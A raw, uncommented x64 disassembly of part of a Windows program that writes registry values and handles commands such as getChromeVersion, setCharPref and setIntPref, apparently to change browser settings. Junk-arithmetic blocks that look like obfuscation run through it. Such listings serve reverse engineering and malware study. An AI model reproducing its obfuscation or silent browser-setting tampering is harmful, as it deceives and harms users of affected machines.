call fcn.140061190
mov qword [rsp + 0xcf8], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400629f2
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x5d8]
call fcn.140003450
mov rbx, rax
lea r8, [0x140151338]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x5c8]
call fcn.14001b610
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x150]
call fcn.14000f540
nop
mov rcx, qword [rsp + 0x5c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x728], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062a68
mov rdx, qword [rsp + 0x728]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x5d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7d8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062a9a
mov rdx, qword [rsp + 0x7d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2dd8], 0x10
jb 0x140062ab2
mov rcx, qword [rsp + 0x2dc0]
call fcn.1400cc890
mov qword [rsp + 0x2dd8], 0xf
mov qword [rsp + 0x2dd0], rdi
mov byte [rsp + 0x2dc0], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x140]
mov rcx, qword [r14 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140062d80
mov rax, qword [rsp + 0x80]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x838], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rsi, qword [rsp + 0x5e8]
mov qword [rsp + 0x20], rsi
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x170]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140062d80
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x22c]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x160]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140062d80
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x848], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x738]
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140062d80
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xb0]
mov rcx, r14
call fcn.1400668b0
mov rcx, rbx
call fcn.1400cd3f0
mov rcx, rsi
call fcn.1400cd3f0
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r12, r12
je 0x140062c23
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], r15w
mov rcx, qword [rsp + 0x150]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062c55
mov rdx, qword [rsp + 0x5f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x160]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x850], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062c87
mov rdx, qword [rsp + 0x850]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x170]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x608], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062cb9
mov rdx, qword [rsp + 0x608]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x140]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x748], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062ceb
mov rdx, qword [rsp + 0x748]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x618], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062d1d
mov rdx, qword [rsp + 0x618]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7e8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062d4f
mov rdx, qword [rsp + 0x7e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x628], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400665d5
mov rdx, qword [rsp + 0x628]
jmp 0x1400665cc
test r12, r12
je 0x140062d95
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0x150]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x758], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062dc7
mov rdx, qword [rsp + 0x758]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x160]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x638], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062df9
mov rdx, qword [rsp + 0x638]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x170]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x3f0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062e2b
mov rdx, qword [rsp + 0x3f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x140]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x400], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062e5d
mov rdx, qword [rsp + 0x400]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x410], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062e8f
mov rdx, qword [rsp + 0x410]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x420], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062ec1
mov rdx, qword [rsp + 0x420]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x430], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062ef3
mov rdx, qword [rsp + 0x430]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x440], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062f22
mov rdx, qword [rsp + 0x440]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2d08], 0x10
jb 0x140062f3a
mov rcx, qword [rsp + 0x2cf0]
call fcn.1400cc890
mov qword [rsp + 0x2d08], 0xf
mov qword [rsp + 0x2d00], rdi
mov byte [rsp + 0x2cf0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x450], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062f85
mov rdx, qword [rsp + 0x450]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140066725
test r12, r12
je 0x140062fc3
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x460], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062ff5
mov rdx, qword [rsp + 0x460]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x470], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063027
mov rdx, qword [rsp + 0x470]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x480], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063056
mov rdx, qword [rsp + 0x480]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2d08], 0x10
jb 0x14006306e
mov rcx, qword [rsp + 0x2cf0]
call fcn.1400cc890
mov qword [rsp + 0x2d08], 0xf
mov qword [rsp + 0x2d00], rdi
mov byte [rsp + 0x2cf0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x490], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400630b9
mov rdx, qword [rsp + 0x490]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140066725
lea rdx, str.getCurrentCppTime
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
jne 0x140063450
test r12, r12
je 0x140063396
mov esi, dword [0x1401c6d80]
mov ecx, esi
imul ecx, esi
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0xa
jne 0x1400631d9
mov r14d, edi
mov dword [rsp + 0x158], edi
nop dword [rax + rax]
cmp r14d, 0x10
jge 0x1400631d9
mov r11d, edi
mov dword [rsp + 0x21c], edi
cmp r11d, 6
jge 0x1400631c9
mov r10d, edi
mov dword [rsp + 0x238], edi
cmp r10d, 9
jge 0x1400631bc
lea ebx, [r10 + 1]
lea ecx, [r11 + 1]
mov eax, esi
cdq
idiv ecx
mov r9d, edx
mov eax, esi
sub eax, r14d
imul r9d, eax
mov eax, esi
cdq
idiv ebx
imul r9d, eax
movsxd rax, r14d
lea rcx, [rax + rax*2]
movsxd rax, r11d
lea rcx, [rax + rcx*2]
lea r8, [rcx + rcx*8]
movsxd rax, r10d
lea rcx, [rsp + 0x3950]
add rcx, rax
mov byte [rcx + r8], r9b
mov r10d, ebx
mov dword [rsp + 0x238], ebx
jmp 0x140063164
inc r11d
mov dword [rsp + 0x21c], r11d
jmp 0x140063154
inc r14d
mov dword [rsp + 0x158], r14d
jmp 0x140063140
lea rcx, [rsp + 0x4a0]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov qword [rsp + 0x180], rdi
mov rcx, qword [rsp + 0x4a0]
mov qword [rsp + 0x180], rcx
movabs rax, 0xcccccccccccccccd
mul rcx
shr rdx, 3
mov qword [rsp + 0x180], rdx
lea rcx, [0x1401be9a8]
mov rax, qword [0x1401be9a8]
call qword [rax + 0x18]
mov qword [rsp + 0x9d8], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x318], rbx
mov ecx, dword [0x1401c6d80]
imul ecx, ecx
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 3
jne 0x140063276
mov dword [rsp + 0x2120], edi
mov dword [rsp + 0x1c40], edi
mov dword [rsp + 0xff0], edi
mov esi, edi
mov dword [rsp + 0xec], edi
nop
cmp esi, 8
jge 0x140063339
lea rcx, [0x1401be9a8]
mov rax, qword [0x1401be9a8]
call qword [rax + 0x18]
mov qword [rsp + 0xf68], rax
add rax, 0x18
mov qword [rsp + 0x250], rax
movsxd rax, esi
movzx r8d, byte [rsp + rax + 0x180]
lea rdx, str._.2x
lea rcx, [rsp + 0x250]
call fcn.140011890
mov rbx, qword [rsp + 0x250]
mov r8d, dword [rbx - 0x10]
mov dword [rsp + 0x858], r8d
mov rdx, rbx
lea rcx, [rsp + 0x318]
call fcn.140010000
nop
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x4b0], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x14006331c
mov rdx, qword [rsp + 0x4b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov esi, dword [rsp + 0xec]
inc esi
mov dword [rsp + 0xec], esi
mov rbx, qword [rsp + 0x318]
jmp 0x140063280
mov edx, dword [rbx - 0x10]
mov dword [rsp + 0x868], edx
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x9e8], rax
test rax, rax
jne 0x14006335e
call fcn.1400025d0
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x4c0], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x140063396
mov rdx, qword [rsp + 0x4c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov ecx, dword [0x1401c6d80]
imul ecx, ecx
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, 0x16
jne 0x1400665d5
mov rbx, rdi
mov qword [rsp + 0x4d0], rbx
cmp rbx, 0x8e
jae 0x1400633ef
call fcn.1400cd268
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rsp + rbx*8 + 0x2f40], xmm0
inc rbx
jmp 0x1400633c3
mov dword [rsp + 0x168], edi
cmp edi, 0x8e
jge 0x1400665d5
mov eax, 0x8d
mov dword [rsp + 0x218], eax
cmp eax, edi
jle 0x14006344c
movsxd rcx, eax
movsd xmm0, qword [rsp + rcx*8 + 0x2f40]
movsd xmm1, qword [rsp + rcx*8 + 0x2f38]
comisd xmm0, xmm1
jbe 0x140063448
movsd qword [rsp + 0xd08], xmm0
movsd qword [rsp + rcx*8 + 0x2f40], xmm1
movsd qword [rsp + rcx*8 + 0x2f38], xmm0
dec eax
jmp 0x140063407
inc edi
jmp 0x1400633ef
lea rdx, str.getChromeVersion
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
jne 0x1400634ea
lea rdx, [rsp + 0x260]
mov rcx, qword [r14 + 0x40]
call fcn.140061290
nop
test r12, r12
je 0x1400634b9
mov rcx, qword [rsp + 0x260]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x870], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x9f8], rax
test rax, rax
jne 0x1400634aa
call fcn.1400025d0
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x260]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4e0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400665d5
mov rdx, qword [rsp + 0x4e0]
jmp 0x1400665cc
lea rdx, str.getDLLVersion
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
jne 0x140063584
lea rdx, [rsp + 0x398]
mov rcx, qword [r14 + 0x40]
call fcn.1400612e0
nop
test r12, r12
je 0x140063553
mov rcx, qword [rsp + 0x398]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x3f8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xea8], rax
test rax, rax
jne 0x140063544
call fcn.1400025d0
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x398]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400665d5
mov rdx, qword [rsp + 0x4f0]
jmp 0x1400665cc
lea rdx, [0x140151300]
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
je 0x14006609c
lea rdx, str.getIntPref
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
je 0x14006609c
lea rdx, str.setCharPref
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
jne 0x140063b88
lea rdx, [0x140151480]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x878], rax
lea rdx, [0x140151420]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xd18], rax
cmp byte [rax + 8], 4
jne 0x1400665d5
lea rdx, [0x140151428]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xa18], rax
lea rdx, [0x140151430]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xf78], rax
cmp byte [rax + 8], 4
jne 0x1400665d5
lea rdx, [0x14015143c]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xa28], rax
lea rdx, [0x1401514b0]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xd28], rax
cmp byte [rax + 8], 4
jne 0x1400665d5
mov byte [rsp + 0x52], 0
mov qword [rsp + 0x190], rdi
lea rdx, [0x1401514b8]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xa38], rax
lea rdx, [0x1401514c0]
mov rcx, rax
call fcn.14003b130
test al, al
je 0x14006399e
lea rdx, [0x1401514c8]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xec8], rax
lea rdx, [0x140151488]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xa48], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd38], rdx
lea rcx, [rsp + 0x270]
call fcn.140003450
nop
mov r8d, dword [0x1401c6d80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub ecx, edx
cmp ecx, 0xb
jne 0x140063793
mov dword [rsp + 0x1e8], edi
nop dword [rax]
mov eax, 0x939a85c5
imul r8d
add edx, r8d
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xde
mov eax, r8d
sub eax, edx
cmp eax, 0x58
je 0x14006378d
mov eax, r8d
or eax, 0xffffff37
add r8d, eax
mov dword [0x1401c6d80], r8d
inc edi
mov dword [rsp + 0x1e8], edi
mov eax, r8d
imul eax, r8d
cmp edi, eax
jg 0x14006378d
jmp 0x140063740
mov dword [0x1401c6d80], edi
mov rbx, qword [r14 + 0x50]
mov qword [rsp + 0x190], rbx
lea rdx, [0x140151490]
lea rcx, [rsp + 0x270]
call fcn.1400037d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x190], rbx
mov rcx, qword [rsp + 0x270]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x500], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400637f9
mov rdx, qword [rsp + 0x500]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x190]
test rbx, rbx
je 0x14006399e
lea rdx, [0x1401514dc]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xa58], rax
lea rdx, [0x1401514e8]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xf88], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa68], rdx
lea rcx, [rsp + 0x280]
call fcn.140003450
nop
lea rdx, [0x1401514f0]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xd48], rax
lea rdx, [0x14015153c]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xa78], rax
mov rdx, qword [rax]
mov qword [rsp + 0xee8], rdx
lea rcx, [rsp + 0x240]
call fcn.140003450
nop
lea rdx, [0x140151544]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xa88], rax
lea rdx, [0x140151550]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xd58], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa98], rdx
lea rcx, [rsp + 0x328]
call fcn.140003450
nop
mov r9, rbx
lea r8, [rsp + 0x280]
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x328]
call fcn.14004af70
mov byte [rsp + 0x52], al
mov rcx, qword [rsp + 0x328]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x510], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006393b
mov rdx, qword [rsp + 0x510]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x240]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x520], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006396d
mov rdx, qword [rsp + 0x520]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x280]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x530], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063b60
mov rdx, qword [rsp + 0x530]
jmp 0x140063b57
lea rax, [rsp + 0x540]
mov qword [rsp + 0xf98], rax
lea rdx, [0x1401514a8]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xaa8], rax
lea rdx, [0x1401514f8]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xd68], rax
mov rdx, qword [rax]
mov qword [rsp + 0xab8], rdx
lea rcx, [rsp + 0x338]
call fcn.140003450
nop
lea rdx, [0x140151500]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xf08], rax
lea rdx, [0x140151508]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xac8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd78], rdx
lea rcx, [rsp + 0x2a8]
call fcn.140003450
nop
lea rdx, [0x140151510]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xad8], rax
lea rdx, [0x1401514d0]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xfa8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xae8], rdx
lea rcx, [rsp + 0x378]
call fcn.140003450
nop
lea rdx, [0x14014f58c]
lea rcx, [rsp + 0x540]
call fcn.140002240
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401c1d58]
lea r8, [rsp + 0x338]
lea rdx, [rsp + 0x2a8]
lea rcx, [rsp + 0x378]
call fcn.14004aa50
mov byte [rsp + 0x52], al
mov rcx, qword [rsp + 0x378]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x550], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063afd
mov rdx, qword [rsp + 0x550]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2a8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x560], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063b2f
mov rdx, qword [rsp + 0x560]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x338]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x570], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063b60
mov rdx, qword [rsp + 0x570]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r12, r12
je 0x1400665d5
movzx eax, byte [rsp + 0x52]
neg al
sbb cx, cx
mov word [r12 + 8], cx
mov esi, 0xb
mov word [r12], si
jmp 0x1400665d5
lea rdx, str.setIntPref
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
jne 0x14006403c
lea rdx, [0x140151518]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xd88], rax
lea rdx, [0x140151520]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xaf8], rax
cmp byte [rax + 8], 4
jne 0x1400665d5
lea rdx, [0x140151528]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xf28], rax
lea rdx, [0x140151530]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xb08], rax
cmp byte [rax + 8], 4
jne 0x1400665d5
lea rdx, [0x1401515a0]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xd98], rax
lea rdx, [0x1401515a8]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xb18], rax
movzx ecx, byte [rax + 8]
lea eax, [rcx - 1]
cmp al, 2
jbe 0x140063c59
cmp cl, 5
jne 0x1400665d5
mov byte [rsp + 0x50], 0
mov qword [rsp + 0x1a0], rdi
lea rdx, [0x1401515b0]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xfb8], rax
lea rdx, [0x1401515b8]
mov rcx, rax
call fcn.14003b130
test al, al
je 0x140063eae
lea rdx, [0x140151578]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xb28], rax
lea rdx, [0x140151580]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xda8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb38], rdx
lea rcx, [rsp + 0x2b8]
call fcn.140003450
nop
mov rbx, qword [r14 + 0x50]
mov qword [rsp + 0x1a0], rbx
lea rdx, [0x140151588]
lea rcx, [rsp + 0x2b8]
call fcn.1400037d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x1a0], rbx
mov rcx, qword [rsp + 0x2b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x580], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063d45
mov rdx, qword [rsp + 0x580]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x1a0]
test rbx, rbx
je 0x140063eae
lea rdx, [0x1401515d4]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xf48], rax
lea rdx, [0x1401515e0]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xb48], rax
mov rdx, qword [rax]
mov qword [rsp + 0xdb8], rdx
lea rcx, [rsp + 0x2c8]
call fcn.140003450
nop
lea rdx, [0x140151638]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xb58], rax
lea rdx, [0x140151640]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xfc8], rax
mov rcx, rax
call fcn.14003a780
mov dword [rsp + 0x178], eax
lea rdx, [0x140151648]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xb68], rax
lea rdx, [0x140151650]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xdc8], rax
